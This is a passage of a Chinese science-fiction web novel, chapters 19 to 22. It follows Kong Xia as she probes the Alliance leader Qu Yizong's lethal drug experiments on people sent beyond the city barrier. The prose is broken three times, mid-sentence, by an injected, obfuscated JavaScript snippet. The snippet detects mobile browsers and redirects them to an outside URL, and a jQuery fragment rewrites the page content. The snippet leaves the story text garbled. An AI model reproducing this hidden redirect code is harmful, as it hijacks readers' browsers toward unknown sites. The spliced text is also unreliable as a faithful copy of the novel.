智能体退开一点,更进一步询问道:“您需要谁的数据?” “李怅。”控夏报出这个名字。 “好的,我这就为您查找姓名为‘李怅’的数据。” - 王阅倚在墙边,吊儿郎当地盯着她老大的动作,开口道:“以后我们的根据地就是这里了?” 沈礼聿轻轻吐出一口气,十分无奈:“这也是没办法。” 他抬头看着这座破旧的楼房,外表残败不堪,绕着这栋楼走一圈甚至四处都是漏洞。 但瞿仪宗作为新地最高掌权者,断不会给他们这些异类留下任何生存的可能性。 他“死”前的住所已经被严加管控,现下唯一能找的地方就是这里。 王阅不置可否,冲上二楼。 她还没仔细看过这个房子,在二楼巡视一圈,找到最亮堂的一间,又进去上上下下,视线从左扫到右。 这么亮的原因是靠外的墙体破了大洞。 王阅眯眼盯着那个洞,任由阳光洒在她脸上。“ 不过也行。 这么想着,她拍拍手掌,直接从那个洞里跳到楼下。 “老大。”王阅道:“二楼那个大洞的房间,我要了。” “这是您需要的资料。”智能体将所有关联数据排开,排在最首的俨然是李怅的大头照。 照片上的女人朝着镜头,正放肆大笑,笑声似乎能透过照片传出来。 居然真有这个人…… 控夏面上表情不显,眼球微微向下。 那一页大头照被划过去,接下来是李怅的个人简历。 控夏快速阅读着,这个女人的履历平平无奇。 在危难发生前,她正常升学生子,在三十岁那年和丈夫离婚,孩子判给丈夫。 之后几年的履历完全空白,似乎是从这个世界消失了。 再之后,女人以阿迈克斯顿学院最高级研究院的研究人员入职联盟,籍籍无名。 难怪沈礼聿对这个人毫无印象。 不过……她眼神一动,目光落在几个词上。 居然跟程先有过交集吗? 只是不清楚……这种“交集”到什么程度。 控夏快速看完后面的内容,同时在思考。 这份履历不全。 她几乎可以第一时间确定。 以李怅的能力,她无法一个人做到这种地步。 还有谁在帮她? 是想隐瞒什么? 控夏垂睫,无机质的银色眼瞳被映出冷光。 元厦不知道自己怎么晕的。 再醒来时,那个女人站在终端机前,侧脸神情冷冽,正面无表情地阅读面前蚊子大小的文字。 她阅读速度极快,大概是离得远,元厦几乎没看见她眼珠子动一下,资料像翻飞的雪花一样,不一会就见了底。 还没等他想出有什么问题,控夏一下抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108732|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,直直朝着他这边看过来。 元厦猛地低头,以避免和她进行视线接触。 他痛恨自己为什么醒这么晚,以至于还要跟这个女人共处一室。 如果可以,他这辈子都不想再见到这个人。 “走吧。”控夏说。 她走在元厦前头,丝毫不怕对方有什么对她不利的动作。 大概也是不关心。 元厦恨不得离她八百米远,想反制的心思是歇了。 但他悄悄打开身上所有设备自带的摄像头,所有‘视线’像毒蛇的眼睛,都冲向控夏身后。 她的所有举动都被镜头记录下来。 元厦一路提心吊胆,生怕被控夏发现。 然而面前的人似乎不太专心,好几次他都十分神经质,身上无数个摄像头一同转动,发出令人牙酸的摩擦声。 也许是他太敏感。 总而言之,元厦和他身上的摄像头都平安无事,跟着控夏回到联盟大楼一楼。 看控夏没有要理他的意思,元厦站在爬梯门口,想等控夏彻底走出大门,自己再偷偷坐电梯上去,把今天发生的所有事汇报给瞿仪宗。 他的梦在控夏转身那一刻破碎。 “出来。” 元厦畏畏缩缩地走出来,汗如雨下。 面前的人没有说话,元厦察觉到自己浑身上下被面前女人扫视几遍。 大概是因为心虚,元厦所有感官都被调动起来,一半挂在面前女人身上,另一半挂在身上数不清的摄像头上—— 吱吱、吱—— 怎么偏偏在这时候响起来?! 元厦惊得往后退一步,刚巧大门那处传来说话声。 一个大咧咧的男声朝这边:“你们干嘛呢?” 控夏扭头看去,露出身后的元厦。 那个男子原本要走过来,看见元厦的脸后顿住脚步。 显然清楚元厦的身份。 他很快若无其事的离开了。 控夏微微一偏头,冷漠地盯身后这人一眼。 一个欺软怕硬的软骨头。 对待这样的人不需要什么耐心,她没注意到面前人低着头的害怕里还藏着其他情绪,从腰侧的药盒里扣出一粒药。 掐着元厦的下巴迫使他张开嘴,元厦只感觉一个异物从嘴里滑下去,很快在他的身体里消失的无影无踪。 是什么? 他绝望的想。 如果结局是死的话,倒不如现在搏上一搏。 这么想着,他被控夏掐着脖子推到后面的爬梯间里。 女人的手一离开,他几乎是立刻,马上瘫倒在地面上,浑身无力。 ……是要死了吗。 元厦察觉到眼皮不受控制地往下耷拉,于是努力瞪大他的眼。 女人似乎已经出去,门被重重关上。 他是要死在这里了吗? 他惊恐地想。 死在常常无人关顾的这里,也许等尸体发臭后才会被人发现。 不……他的身体注射了香体精,能最大限度保持身体的洁净与香气。 也许几年后都不会有人发现他的尸体。 就这么想着,他终于抵抗不了药剂带来的作用,缓缓闭上双眼。 在这样不可抗拒的睡意下,元厦忽略了大脑某个区域带来的、不起眼的空虚感。 与此同时,身上剩余电子设备同时显示“已储备完成”字符,最后和主人一起陷入沉眠。 20. 第 20 章 控夏手里抓着小小的通讯器,没过多注意上面奇怪的地方,直接捏碎,扔到下水道。 “怎么样?”她靠墙坐下来,撑着额角盯前方的全真投影。 程借景稚嫩的脸占了几乎四分之三的位置,剩下一个角是王阅的脸,正满脸笑意地同她打招呼。 控夏回了一个笑,视线又被程借景展出数据吸引过去。 “那些人依然在城外,这次的伤亡情况比上次出城好许多。”程借景拉出一条可视化数据条,分为蓝红两条数据流,下面的蓝色是上次出城人员平均死亡时长。 即使这次出城时长不达一天。 “这一批和上一批的身体素质差别?”控夏皱着眉凑近。 平均存活时长未免增长太快,对比上一批来讲。 半天的时间……上次已经死了快一半人。 这次却连四分之一都不到。 “提升很多。”程借景道,“但是很奇异的是,相匹配的其他素质却没有跟上,还处于正常人的水平。” 正常人的水平? 控夏敏锐:“怎么说?” 程借景调出另一个数据表,“按道理来说,身体素质上乘,人体内各种激素以及血平衡都会有细微差别,相比中等的人来说。” 他将两批人的素质水平集合在一起,对比显著。 两批人的激素水平相差不大,第二批的身体素质水平却比第一批骤然高出一大截。 控夏的猜测还未出口,不远处的联盟大楼急促地发出尖锐警鸣声。 控夏手摸上通讯器,程借景的影像一下消失。 与此同时,她迅速偏头,朝冒着一片烟雾的大厦看去。 “瞿老!瞿老!” 大帮穿着白长衣的高层跑出来,被巨震震在地面上,连滚带爬。 他们高声喊着瞿仪宗,可是动作分明是朝着逃生口的。 “怎么回事?!”瞿仪宗在办公室里,震感不如楼下人强烈,但也能明显感受到一点。 屋内智能体弹跳出来,为他播报:“药制实验室新实验导致的爆炸。” “实验室?”瞿仪宗皱着的眉头终于松开一点,“那些鬼哭狼嚎是怎么回事?” 智能体立马智能的导出一段视频,明显是监控视角。 几个视角一切,那坨白成一片的高层什么样都被展示出来——全方位、无死角的展现。 他们一边跑一边鬼哭狼嚎的模样太辣眼睛,瞿仪宗被吵的头疼,没眼再看下去,挥挥手让智能体关掉。 “好的,已关闭。”智能体听话的关掉,原地等待一会后,又隐入墙内。 虽然瞿仪宗对他们的表现感到丢人,但他还是打开办公室的大门,乘坐另一趟电梯下到药制实验室的一层。 这个实验室现在可是立了大功。 瞿仪宗拥有这栋楼所有楼层的权限,至少明面上的他都有,刷个脸就能进去。 进实验室后,要带上防尘面罩。 这个面罩具有看清视野、过滤有毒物质的作用。 “瞿老。”负责人跑过来。 瞿仪宗朝他点点头。 负责人很上道,知道瞿仪宗此次来的目的,很快带着他往药物室走。 “我们调制新药剂时配比出了问题,不慎发生爆炸,这个事我已经给他们再三耳提面命过,绝不会有下次!”负责人道。 瞿仪宗不管他说的是真的还是假的,就算是假的,他现阶段也不打算计较。 他只是问:“新药剂有没有实验过?” 负责人摇摇头,面上不显,心里却悄悄松了一口气。 要是瞿仪宗追究的话,实验室所有人都逃不开惩罚。 不过,实验室现在正处于被需要的时刻,就算瞿仪宗追究,估计也不会太下狠手。 不管怎么说,现在这个结果就是最好的。 “新药剂刚刚才研制出来,延续并增强了上一代药剂改变身体素质的效力,还增加了一个新的作用——”他拉开门,里面很安静,所有人的视线都聚集在一处——“在进行第一次测试。” 瞿仪宗快步上前,盯着显示器上的人。 那人被关在一个密闭空间里,浑身穿着隔离服,看起来体力不足似的,但还是勉强走着。 这个密闭空间模拟了城外环境,黑雾弥漫。 “这上面一闪闪的是什么?”瞿仪宗注意到房间里散着红光,在地面上、墙上都有,呈现溅射状。 “是血迹。”负责人还没说话,坐在显示器前的人率先开口,“上次出城前,我们给那批人注射了追踪器药剂,通过微弱的追踪反应检测到,黑雾会吞噬血迹。” 没新意的话。 这个结果早就被做成报告,放在瞿仪宗桌上。 他盯着那些散着红光的区域,等待研究员继续说。 “这次出城,我们往药剂里加大了追踪粒剂量,不过血迹被吞噬后依旧没有反应。”说着,她调出了这次出城的数据。 并不完全,只涵盖了关于身体反应的一部分,剩下所有数据都是隐藏的。 “这是被吞噬前的图像,这是吞噬后的。”她指了指。 瞿仪宗一眼扫过去,只看见吞噬前显示的粒子数,吞噬后那片完全是一片空白。 “粒子量抵不过黑雾的能量,所以完全显现不出来。”研究员说着,又调出一个,“因此这次新药剂研发时,我们加入了大量追踪粒,不过最高的限度也就到这里了。人体承受程度有限。” 新药剂效果显著,显示的残留度比这次出城那批人注射的药剂残留度高。 不过等到真正出城,具体的残留数目是多少,无人知晓。 瞿仪宗道:“追踪粒含量再提高,提到效果最好的含量。” “这……”研究员有些犹豫。 药剂说到底都是给人用的,人才是发挥药效的载体,不考虑人体承受限度、盲目提升其中成分含量这种法子,是能提高药剂效力——但没用啊! 载体根本承受不了。 看研究员面露犹豫,瞿仪宗面无表情地“嗯”了一声,尾音上扬,表示疑问。 倒是站在他后面的负责人先开口了,“好的,瞿老。我们会按照您说的继续改进的。” 瞿仪宗不语,低着头盯研究员。 室内寂静到极点,所有人的注意力都转移到研究员身上。 负责人使劲对着那人使眼色,做口型,却心如死灰。 这个研究员的性格他再了解不过,自己做什么事都要争取一下,哪怕得罪人。 “可是……”研究员完全无视负责人的眼色,开口,“要是含量太高,人体承受不住的话,会导致死亡。” 她能感觉到瞿仪宗的目光在一点点变冷,但她还是抱着希望继续道:“如果人体在出城前率先死亡,这个药剂就完全丧失它本来的作用。” 她说完,紧张地盯着面前的人。 外面传闻德高望重、极恤民情的联盟最高层掌权人,会因为她的话改变自己的决定吗? 面前的人笑了一下,幅度不大,只是唇角勾了勾。 尽管眼神依旧冷冽,但这个笑,是否代表他改变心意了呢? 研究员是个二十出头的女孩,没有心眼,一片热忱,看到他的笑,自己也笑起来。 “按我说的做。”然而,对方只是冷冷丢下这句话,转身走了。 “你啊!”负责人低声,对她恨铁不成钢,转身追上去。 她低垂着眼,坐回座位上,慢慢转回显示器前。 那上面红色的闪光依旧亮着,还呈现越来越多的趋势,测试者依旧行尸走肉般机械行走,仔细看看,他的肩头两处似乎有丝线穿过,带他行走在既定的轨道上。 “那群人呢?”瞿仪宗十分不耐烦。 他刚把药制实验室的负责人打发走,下到其他高层办公室时却没有看见人。 真是一群蠢人。 瞿仪宗冷静地回到电梯,从终端里给每个离开的人发送一条讯息。 重新接通程借景的通讯,控夏此刻在联盟大楼内部,缩藏在一个死角内。 “怎么回事?”程借景问。 控夏摆摆手,谨慎地从这个死角往外看。 这里是大部分高层的办公室,跟瞿仪宗紧密连接,所以要谨慎。 这个时间不是跟他打照面的最好时机。 里面没人。 她皱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108733|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了皱眉,在通讯器里打下几个字,然后发送给程借景。 对方查看后立马挂断通讯,控夏慢条斯理,准备摸出去。 来都来了,不看看里面有什么东西怎么行呢? 如果能找到关于怪物的线索就更好了。 等等—— 她抬出去的脚尖收回来,又重新猫回去。 脚步声越来越近,控夏略微抬眼,想看清是谁。 ——瞿仪宗? 居然舍得从315层下来了? 真是稀奇。 对方并没有发现她的存在,进了电梯。 看来这场爆炸唯一影响到的是瞿仪宗。 控夏站起身,银色的眼瞳清晰捕捉到摄像设备。 那些设备似乎仍在正常工作,但控夏知道并没有。 她光明正大地走进办公室,随便打开一个人的空间器。 哒。 开了。 看来真的以为出事了,连自己的空间器都忘了进行锁定。 这人的空间器里面一眼就能看个干净,除了一大堆的营养液外,还有不知道从哪里搜罗到的旧书,都是一些打发时间的东西。 控夏绕出去看了眼,空间器外的铭牌写着:季瓦罗。 飞行器修葺师(兼职),主业营养液研发员。 这两个职业的共通性在……? 她以前怎么没发现联盟里还有这种人才? 控夏挑眉,记下这个人的名字。 这人的空间器里暂时找不到什么线索,控夏退出来,往里面走。 期间看见许多空间器,上面都印着熟悉人的名字,控夏看一眼就知道里面绝对没有什么内容。 她顺着弯弯绕绕进去,最终站定在一个陌生的名字面前。 季橙阅? 她伸手去拉,没拉动。 真是大发现,高层里居然还有聪明的。 不过也有可能,那些人太了解自己没有价值,才这么不设防。 如果这样的解释说得通,那不就更证明里面有猫腻么? 控夏拉不动就不拉了,要是再继续强制拉开,说不定会引起瞿仪宗的注意。 她偏头去看名字下方的介绍,上面只有简简单单的三个字:药剂师。 正打算给程借景发消息,让他关闭空间器的权限,控夏却动作一顿,敏锐地往电梯方向撇去。 ——有人来了。 “今天不上班吗?”娃娃音十分疑惑,像是在跟什么人说话。 但控夏却没听到回应的声音。 她正藏在其中一个空间器里,皱着眉头。 娃娃音又说话了:“可我早上来的时候分明看到他们了。” 这时,同她一起的人才无奈开口:“别管你不该管的,先回空间器休息吧。” 然后就没了声。 控夏屏息,莫名觉得声音耳熟,脑中正在寻找记忆,腰侧却被什么东西戳了戳。 她瞥了一眼,是一株智能仿生植物体,鲜艳的花瓣中央长了张简化的笑脸,正盯着她看。 抬手正要弹开,娃娃音响起来:“菲菲姐,你也觉得我做错了吗?” 手指顿住,控夏全身心注意力都放在那个称呼上。 菲菲姐? 林菲? 她被调到这边来了? “在我看来,这件事不该论谁对谁错。”女人开口,带着控夏熟悉的无奈关怀,“只是瞿老有自己的考量,于身份地位,你没资格跟他呛声;论年龄,他的岁数可以做你爷爷,你也不该这么反驳他。” “更何况,上午出了那么大的差错,我们本来该被问责的。”林菲语气冷下来。 “但是……”娃娃音不甘心,很快没了声响。 控夏听见不远处空间器打开又关上的声音,娃娃音应该是被林菲推进去了。 空间器有隔音的效果,后面已经听不见。 这个信息量足够大,控夏也了解林菲的性子,知道她不会在外面讲这些,能听见这么多纯属意外。 正思索着,手指又被软软的触感碰碰。 控夏抬眼,终于记起这个仿生体。 对方依旧笑眼弯弯地看着她。 21. 第 21 章 控夏拉上门,确保空间器已经保持封闭状态,外面的人听不见她说话的声音。 她才开口:“你怎么回事?” 控夏一边说着,一边凑近它。 仿生体不说话,也可能是不会说话,棕色的枝条一扭一扭着盯她。 控夏摸摸它的花瓣,在它花瓣的后面手指翻动,确定这个仿生体内没有装置监控器。 还想再逗逗仿生体,手环却震动两下,是程借景的通讯。 一时半会也出不去,控夏把仿生体关闭,接通。 程借景焦急的面容出现在全真影像里:“你现在在哪里?” 又是夜幕降临。 控夏带着小队躲在阴影处,目光一错不错地盯着城外。 靠近屏障的地方守着十几人,最前方是这次出城时的负责人,全员肃穆。 突然,负责人动了一下脚步,往前移了两步。 屏障外突然被一个什么东西撞了一下,像是外面的东西想闯进来。 控夏从腰间抽出棍状物,拇指对准开关键。 如果在这个节骨眼上出了什么异常的话…… 她浑身紧绷,做好战斗的准备。 不远处一个人型的凹陷进来,控夏眼球自如地转动两下,锁定那个人型生物。 ——是幸存者。 “你说你什么都没看见?”男声不可置信道,声音高昂。 躺在洁白病床上的人浑身被包裹,贴了无数个电容片在身上,看起来已经处于无生命状态。 但床头激烈的心率显示出此人尚有意识。 甚至可以操控意识同人交流。 脑部踊跃活动,将电信号传输到外界,再汇聚成文字:什么都没看见。 诺大的病房里一下只剩静谧,躺在床上的人和站在床边的几个泾渭分明,分成了两派。 床头的终端机闪着一片乱码,始终没有出现清晰的字样。 从头到尾穿着白衣服的那行人得不到答案,最终恨恨的甩袖离开。 “能看见在说什么?”王阅两手围成圈,做出眼镜的样式,黑洞洞地放在眼前。 旁边是程借景,小男孩已经换了一身装扮,顶着帽子满脸严肃。 “……没看见。”他默念出声,被王阅听见。 “没看见?!”王阅重复,接着道:“我来看看。” 程借景看见那行穿着白衣服的人离开病房,收起手里的器件,无奈道:“是‘什么都没看见’。” 他大喘气的说:“幸存者说的。” “……”王阅无语凝噎。 半晌,她咽了口口水,像是把自己的无语咽下去,才开口:“除了这个之外呢?” 程借景摇摇头,“没了。” “没了?!”瞿仪宗怒声。 他一瞬间想到了刚在大楼里搞出爆炸的那群人,眼皮一撩,冷冷盯着前面人。 “确定对方意识清醒?” 面前人抹抹汗,一再点头,“确实清醒。” “会不会是15号真的没看见什么……?”他道:“外面情况叵测,更何况人在危难之际会自动删除一些记忆……” 瞿仪宗不耐烦道:“那就用尽一切办法让他想起来。” “你现在就去办这件事。”他迈步走出,突然站定,转头道:“用最快、最快恢复记忆的办法。” “现在怎么办?”程借景叹口气,“完全没有一点线索。” 控夏罕见地揉揉他的脑袋,说:“瞿仪宗那边肯定比我们更急。” 程借景突然觉得有些怪异。 他还想说些什么,控夏却已经站起身了。 她接了一个通讯,脚步匆匆地往外面赶。 控夏面色平静地走进黑市,靠近那家卖诡异饮品的黑店。 她像往常一样敲敲桌子,里面立马传来一阵乱七八糟的声音,像是有东西掉在地上。 很快,帘子被掀开,熟悉的脸庞出现。 这次不像之前那样笑脸相迎,而是面色凝重。 “呐。”她放下一杯黑漆漆的诡异饮品,旁边依旧缀着那颗、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108734|164017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知重复使用多少次的薄荷叶。 控夏拿起来抿一口,没急着开口。 李金晚却等不及了,她甚至没想过谈判,只仓皇的把自己的条件和要求扔出来。 “我加入你们的阵营,前提是你们帮我护好小雷。”她苍白道。 小雷就是她护着的小男孩。 看来这几天是发生了什么她不知道的事。 控夏垂眼,玻璃杯放在桌上发出了‘叩’的声响。 “我们之间的交易只维持到机器被修好的那天。”她说,“明码标价。” 李金晚脸色更白了,“那些钱我不要了!” 她近乎哀求道:“我会尽我所能……只要你们保住他。” “只要你们能够保住他……”李金晚失神喃喃。 她这幅样子……难道是那个叫小雷的小男孩出了什么事? 控夏问:“出了什么事?” 李金晚抿抿唇,转身进了里间。 她没让控夏等太久,大概半分钟后,抱着小男孩出来。 小男孩身上只穿了单衣和贴身短裤,皮肤上有吸盘痕迹,大概刚从疗养仓里抱出来。 控夏几乎第一瞬间,就注意到他身上不同寻常的裂口。 那道裂口从腋下一直延伸到盆骨,伤口极深,几乎要把他整个人都裂成两半。 ……像猛兽的利齿造成的。 李金晚把小雷放在桌上,快说不出话来。 控夏看见更多细节。 伤口边处泛白,有被处理过的痕迹;浑身软绵无力,失去意识超过一天时间。 也就是说,李金晚在救下小雷的第一刻,当机立断将他送往救治,但救治似乎没起效果,小雷依旧陷入昏迷状态中。 她上手轻轻捏了一下小雷的手腕。 有些发胀。 救治无果后,李金晚将其放进了疗养仓。 使用的是从黑商那里买来的、已经淘汰好几代、经过改造的疗养仓。 控夏松开手,抬眼道:“受伤后去过哪里?” 22. 第 22 章 哒。 脚步声停在桌前,女人没抬头,余光瞄见面前挡着一个人。 她习以为常道:“先去缴费。” 说完她把心思重新放回虚拟机上,却没听见脚步声。 还没走? 女人下意识皱起眉,抬头对上一双冷漠的双眼。 “你还记得我?”控夏倚在墙上,看对面的女人。 “印象深刻。”女人说。 她脱掉自己的手套,把自己的双手放在水流下,任由急湍的水流冲刷自己的双手。 控夏注意到她手上的伤口,凉水正打在伤口上。 女人好像习惯了,冲干净后便在烘干机下烘干自己的手,随即重新戴上手套。 “这次来是因为什么?”她重新坐下来,举着双手,抬眼看控夏:“是又受伤了?……还是要查什么。” 控夏挑挑眉。 跟聪明人说话就是效率。 “两天前,一个背部有不明撕裂伤口的小男孩上门求治,你给他看了。”控夏简明道,“当时的诊治结果是什么?” 女人并没有回答,而是反问:“既然你已经知道这么多细节,那应该也清楚,我并没有为他的伤口做出有效的医治。” 控夏摇头:“我要看你当时的诊治档案,包括你对伤口的初步分析,以及做出的可能致使其受伤的原因分析。” “患者的就诊病历不是可以随便拿出来看的东西。”女人说:“如果你这次的目的是这个,那恕我不能帮你,请回吧。” “你要什么?”控夏问。 女人没说话。 半晌,她放在桌上的手被一枚器具轻轻触过,手上覆的手套立马崩开,露出底下好像永远也无法愈合的伤口。 “上次有人来找你讨要资料,你没给,导致双手留下了这些细小密集的伤口,无时无刻都笼罩在漫长又磨人的痛意中。”控夏按一下手腕,那枚齿轮状的暗器立马顺着链子收回来,“——这次呢?” “猜猜会有什么后果?” 女人双手暴露在空气中,难以忍受的痛意立马针扎似得笼上。 不过她已经习惯了,颤抖着从自己身上又拿出一副新的手套,神色冷静。 手套紧绷着,挤压住手指手掌上每一处皮肉,几乎都要勒到骨头缝里去。 窒息感暂且胜过痛意,女人手指交缠,说:“你要这份档案做什么?” 控夏轻吐一口气,敛着眉眼,低声道:“这就不是你该关心的了。” - “怎么第三批这么快就出去了?!”程借景盯着那头,惊诧道。 他旁边站着沈礼聿,皱着眉看向那边。 之前两次都是半夜,趁着夜深人静的时候‘出城’,怎么这次这么光明正大? 旁边甚至站了好些平民围观。 很快,沈礼聿就知道为什么了。 从偌大的飞行器上下来好些人,但无一例外,从长官到‘出城’人选里,每个人都穿着特别的制服。 ……这次出城的人是保卫军里挑出来的? “不愧是保卫军,居然去做这么危险的事!” “我以为上次联盟说的出城只是随便给我们画画大饼,居然这么快第一批就准备好了?!” “那可是联盟啊!我也想出城玩玩,不知道城外有什么。” “说不定以后就发展成产业链了——甚至这层屏障都能撤了!” “我觉得你说的有道理。”赞同的人忽然小声,“听说天懿号已经准备停用了。” 听到这句话,沈礼聿装作不经意地朝那边扫一眼。 看起来确实是不知真相的平民。 只是,她是怎么知道这个消息的? 沈礼聿收回目光,却对那边留了点神。 那人还待继续说,看热闹的人群骤然发出不小的议论声。 是有关出城人员的。 压下心里的疑惑,沈礼聿重新往屏障那边看去。 穿着保卫军服饰的20人已经站在屏障前,浑身套着黑色的不明材质的罩子,在旁边长官的指挥 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那些壮年男子的身体素质,一定比不上经过特殊训练的保卫军。 不过,为什么要换? 上次被保卫军抓去的人一定不止50人,为什么这么快就换上了保卫军? 是药品出了问题——? 是人出了问题? 还有什么,是瞿仪宗一定要将平民换成保卫军的因素? 沈礼聿大脑发热,手却冰凉。 捂在额头上降降温,他吐出一口气,感觉自己离真相很近了。 可无论怎么想都想不出为什么。 滴滴。 滴滴。 手腕上的通讯器震动。 沈礼聿点击‘连接’,半空中骤然出现控夏的投影。 控夏眉头紧皱,言简意赅:“你们到哪里了?把所有人都叫回来。”